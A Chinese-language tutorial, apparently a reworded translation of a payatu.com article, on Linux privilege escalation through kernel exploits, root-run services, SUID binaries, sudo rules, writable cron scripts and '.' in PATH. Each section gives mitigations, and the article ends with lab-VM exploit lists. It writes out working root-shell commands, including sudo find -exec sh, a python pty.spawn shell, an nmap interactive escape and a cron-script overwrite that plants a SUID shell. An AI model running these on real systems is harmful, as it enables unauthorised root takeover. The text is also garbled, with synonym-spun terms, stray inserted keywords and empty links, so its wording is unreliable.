针对不同的内核和操作,有许多不同的本地权限提高漏洞可供使用。具体每位漏洞而言,能够使用该漏洞取决于该版本的内核是否易受功击。KailLinux拥有exploit-db漏洞的本地副本,可以拿来轻松搜索root漏洞。但建议不要在搜索Linux内核漏洞时完全依赖该数据库。
$ searchsploit Linux Kernel 2.6.24 - 可以向我们展示在Kail Linux中保存的特定Linux内核的所有可用漏洞。
为何我们不应当首先考虑权限提高漏洞?
尽管权限提高漏洞的借助方法十分简单,只须要运行漏洞借助程序并获得root权限即可,但考虑到如下诱因,我们不应当首先考虑这些形式:
(1)远程主机可能会崩溃,缘由在于许多公开的root漏洞借助程序并不稳定;
(2)在得到root以后可能会造成崩溃;
(3)该漏洞借助可能留下痕迹或日志记录,并导致运维人员的注意。
为此,建议你们首先尝试其他方式来获取root权限linux环境变量,并将上述方案作为最后的备选。
防范方式:
及时打补丁更新,时刻保持内核的版本最新。
2.借助正在以root身分运行的服务
知名的EternalBlue和SambaCry功击都借助了一般以root身分运行的SMB服务。
只须要一次功击,功击者就可以获得远程代码执行权限和本地权限提高。
由于上述两者组合上去十分致命,因而该漏洞被广泛用于在全球范围内传播恐吓软件。
我们应当使用检测Web服务器、邮件服务器、数据库服务器等重要服务器是否以root身分运行。在好多时侯,Web管理员会以root身分运行那些服务,忽略了其可能造成的安全问题。有一些服务是在本地运行的,不会对外曝露,但同样可以被借助。
$ netstat -antup - 该可以显示所有打开并正在监听的端口,我们可以通过此检查是否有可以利用的本地服务。
借助以root身分运行的受漏洞影响MySQL来获取root访问权限:
MySQLUDF动态库漏洞借助可以容许我们从MySQL执行任意。假如MySQL是以root权限运行的,这么这种命令都会以root身分来执行。
$ ps -aux | grep root - 显示以root用户身份运行的服务。> 我们可以用MySQL Shell执行任意命令,这些命令会以root身份来执行。
一些网路管理员的最大失误,就是运行具有root权限的网路服务器。Web应用程序上的一些命令注入漏洞可能造成功击者获得rootshell。为此红旗linux系统,除非真正须要,我们应当避开以root身分运行任何服务。
据悉,对root用户程序进行二补码借助的风险要比内核借助小得多,缘由在于虽然服务崩溃,主机也不会崩溃,但是服务可能会手动重启。
防范方式:
除非真正须要linux文件执行权限,否则绝不要以root身分运行任何服务,非常是Web、数据库和文件服务器。
3.借助可执行文件SUID
SUID即SetUserID(设置用户ID),它容许用户使用指定用户的权限来执行文件。诸如,Linux中的ping命令一般须要root权限能够打开原始的网路套接字。假如将ping程序的SUID标记为root用户,就可以让低权限用户在执行程序时,直接以root权限执行。
> -rwsr-xr-x- 如果其中的x字符被s替代,则证明设置了相应的SUID。
SUID这个功能假如使用得当linux文件执行权限,可以有效提高Linux的安全性。但是,管理员在安装第三方应用程序或进行逻辑配置修改时,可能会在不知不觉中引入危险的SUID配置。
许多系统管理员都不了解应当在那里设置SUID位,我们须要非常指出,管理员不应在任何文件编辑器上设置SUID位,由于这样可以让功击者覆盖系统中存在的任何文件。
借助易受功击的SUID可执行文件获取root访问权限:
$ find / -perm -u=s -type f 2>/dev/null - 打印设置了SUID位的可执行文件。![](//payatu.com/wp-content/uploads/2018/02/suid_bit_set_nmap.png)$ ls -la /usr/local/bin/nmap - 确认nmap是否设置了SUID位。![](//payatu.com/wp-content/uploads/2018/02/suid_nmap.png)> Nmap设置了SUID位。很多时候,管理员会为Nmap设置SUID位,以便它可以有效地扫描网络,如果不以root权限运行,那么所有的扫描都将失效。> 然而,在nmap早期版本中有一个功能,可以在交互模式下运行nmap,允许用户转到Shell。如果nmap设置了SUID位,它将会以root权限运行,就可以通过交互模式访问root Shell。$ nmap -interactive - 运行nmap交互模式(Interactive Mode)。$ !sh - 从nmap Shell转到系统Shell。
防范方式:
不应将SUID位设置为容许转入Shell的任何程序。
不应当在任何文件编辑器、编译器、解释器上设置SUID位,这样可以让功击者轻松读取、覆盖系统上存在的任何文件。
4.借助SUDO权限/用户
假如功击者不能通过其他技直接获得root访问权限,这么他可能会尝试破坏任何拥有SUDO访问权限的用户。一旦功击者有权访问任何SUDO用户,这么他基本上就可以使用root权限执行任何命令。
管理员可能只容许用户通过SUDO运行一些命令,但绝对不是所有命令,虽然是使用这样的配置,她们也可能会在不知情的情况下引入漏洞,因而造成权限提高的风险。
其中,一个比较典型的事例是将SUDO权限分配给find命令,便于另一个用户可以在系统中搜索特定的文件或日志。其实管理员可能不晓得find命令包含用于执行命令的参数,但实际上,功击者确实可以使用root权限来执行命令。
借助错误配置的SUDO权限获取root访问权限:
$ sudo -l - 打印允许作为SUDO运行的命令。
我们可以以SUDO运行find、cat和python。这种命令在用SUDO时会以root用户身分运行。假如我们可以通过这种命令,以某种形式逃逸到Shell,那我们就可以获得root权限。
$ sudo find /home -exec sh -i ; - find命令的exec参数可用于任意代码执行。
> 不要将SUDO权限赋予任何编程语言编译器、解释器和编辑器。> 这种技术也可以用于vi、more、less、perl、ruby、gdb和其他命令。$ sudo python -c 'import pty;pty.spawn("/bin/bash");' - 产生一个Shell。
防范方式:
不要将SUDO权限授予任何容许逃逸到Shell的程序。
不要将SUDO权限赋于vi、more、less、perl、ruby、gdb等命令。
5.借助未正确配置的CRON任务
假如Cron任务配置不当,可能会被借助获取root权限。
(1)任何可写的Cron任务或二补码文件?
(2)我们是否可以自己覆盖写入Cron文件?
(3)cron.d目录是否可写入?
Cron任务经常以root权限运行。假如我们可以成功篡改Cron任务中定义的任何或二补码文件,我们便可以使用root权限执行任意代码。
借助错误配置的Cron任务来获取root1访问权限:
$ ls -la /etc/cron.d - 打印cron.d中已经存在的Cron任务。![](//payatu.com/wp-content/uploads/2018/02/cron-1.png)$ find / -perm -2 -type f 2>/dev/null - 打印全局可写入文件。$ ls -la /usr/local/sbin/cron-logrotate.sh - 确认cron-logrotate.sh是否是全局可写入的。
> cron-logrotate.sh是全局可写入的,它由cronjob运行。我们在cron-logrotate.sh中写入/添加的任何命令都会以root身份执行。> 我们在/tmp目录下编写一个C文件,并对其进行编译。
> rootme可执行文件会产生一个Shell。$ ls -la rootme - 说明该文件由用户SHayslett拥有。
$ echo "chown root:root /tmp/rootme; chmod u+s /tmp/rootme;">/usr/local/sbin/cron-logrotate.sh - 将可执行文件的所有者和分组修改为root,同时也会设置SUID位。$ ls -la rootme - 在5分钟后,运行logrotate Cron任务,cron-logrotate.sh会以root权限执行。$ ./rootme - 产生一个root Shell。
防范方式:
在Cron任务中定义的任何脚本或二补码文件都不应当是可写入的。
Cron文件不应被除root之外的任何用户写入。
Cron.d目录不应被除root之外的任何用户写入。
6.在用户路径上借助’.’实现借助
假如PATH中带有’.’,就意味着用户可以从当前目录执行二补码文件或脚本。为了变每次都输入这两个额外的字符,用户可能会将’.’添加到她们的PATH中。对于功击者来说,这是一个用于权限提高的不错方法。
如果Susan是一名管理员,她在她的路径中添加了’.’,这样就毋须再写入两个字符。
路径中有’.’–program
路径中没有’.’–./program
这些情况的缘由在于,Linux会首先在PATH中添加’.’,之后在其他地方进行搜索时,会首先在当前目录中搜索程序。
> 假设另一个用户rashid知道Susan在她的PATH中加入了'.'。> rashid告诉Susan说,'ls'命令在他的目录下不起作用。> rashid在他的目录中添加一个代码,该代码可以更改sudoers文件,使rashid成为管理员。> rashid将该代码保存在名为'ls'的文件中并使其可执行。> Susan拥有root权限,她在rashid的主目录下执行了'ls'命令。> 恶意代码将会代替原来的'ls'命令,以root权限执行。> 在名称为"ls"的文件中,添加了一行代码,该代码将会打印出"Hello World"。
$ PATH=.:${PATH} - 将'.'添加到PATH变量中。
$ ls - 执行./ls文件,而不是执行list命令。> 现在,如果root用户以root权限执行代码,我们就可以使用root权限实现任意代码执行。
防范方式:
不要将’.’放在你的路径中。
不同虚拟机环境上的权限提高技巧
目前,我早已编译了一系列不同的权限提高技巧,但是成功在不同的虚拟机上获得了root权限。我们在这儿提供一个整体思路,也就是告诉你们怎样在实际场景中使用上述技术。好多时侯,可以选择多种技术在同一台机器上获得”root”访问权限。
Kioptrix1
内核漏洞功击–Apachemod_ssl<2.8.7OpenSSL–‘OpenFuckV2.c’远程缓冲区溢出()
SMB漏洞借助–Samba(2.2.1a)trans2open缓冲区溢出()
Kioptrix2
内核漏洞借助–LinuxKernel2.6<2.6.19–‘ip_append_data()’Ring0权限提高(1)()
Kioptrix3
在文件编辑器上设置SUID位–编辑/etc/sudoers文件以获得SUDO权限
Kioptrix4
内核漏洞借助–‘DirtyCOW’‘PTRACE_POKEDATA’竞争条件权限提高()
MySQL漏洞借助–MySQL4.x/5.0(Linux)–用户定义函数(UDF)动态库(2)()
内核漏洞借助–2.4/2.6sock_sendpage()ring0Root借助()
Kioptrix5
内核漏洞借助–FreeBSD9.0–IntelSYSRET内核权限提高()
SickOS1.2
未正确配置的Cron任务–Chkrootkit0.49–本地权限提高()
Stapler
正在运行的受漏洞影响版本Samba–SambaCry借助()
未正确配置的Cron任务–全局可写cron文件
在.bash_history中找到root密码
内核漏洞借助–LinuxKernel4.4.x(Ubuntu16.04)–‘double-fdput()’bpf(BPF_PROG_LOAD)权限提高()
Troll1
Sudosu得到root权限
MrRobot
在nmap上设置SUID位–从nmap交互模式转入Shell
Vulnix
未正确配置的服务–root_squash目录装载错误配置
droopy
内核漏洞借助–‘overlayfs’权限提高()
VulnOsv2
内核漏洞借助–‘overlayfs’权限提高()
Fristileaks
SUDO权限赋于一个易受功击的二补码文件
LordOfTheRoot
内核漏洞借助–‘overlayfs’权限提高()
重要资源
你们可以参考这种博客文章,便于更好地了解Linux权限提高的相关知识。
基础的Linux权限提高:
本地Linux遍历和权限提高备忘录:
黑客入侵Linux第一部份-权限提高:
权限提高:
以下是遍历脚本。虽然我们建议自动进行便利,但使用脚本无疑会更为方便,但运行脚本可能会形成一些误报。
unix-privesc-check:
Linuxprivchecker(我的最爱):
LinEnum:
参考
:///bss/2014/r/kernel-exploits.pdf
本文原创地址://lrxjmw.cn/kyyelddbdqxt.html编辑:刘遄,审核员:暂无